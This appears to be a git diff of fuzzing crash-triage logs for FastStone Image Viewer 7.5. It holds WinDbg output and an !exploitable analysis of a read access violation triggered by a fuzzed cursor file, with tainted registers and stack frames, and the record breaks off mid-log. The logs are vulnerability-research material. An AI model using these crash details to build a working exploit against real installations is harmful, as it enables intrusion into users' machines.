+ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(8.1f78): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07e57b10 edx=00003879 esi=12738f10 edi=0f80cfd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.718529053629891680000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-8.05752e-027 -1.19541e+034 2.9142e+031 0.000117529 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f38130 07eb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002da000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002da000 0e4758e3 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629a 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002da000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/62365/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/62365/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..2dcba0e --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/62365/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(8.1f78): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07e57b10 edx=00003879 esi=12738f10 edi=0f80cfd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.718529053629891680000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-8.05752e-027 -1.19541e+034 2.9142e+031 0.000117529 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f38130 07eb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002da000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002da000 0e4758e3 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629a 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002da000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/62365/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/62365/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..cc43248 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/62365/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63158/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63158/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63158/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63158/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63158/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..d71d943 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63158/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63158/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63158/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..c5132dc --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/63158/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x914: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x914: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c12000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bc0000 00000000`74be8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bbb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 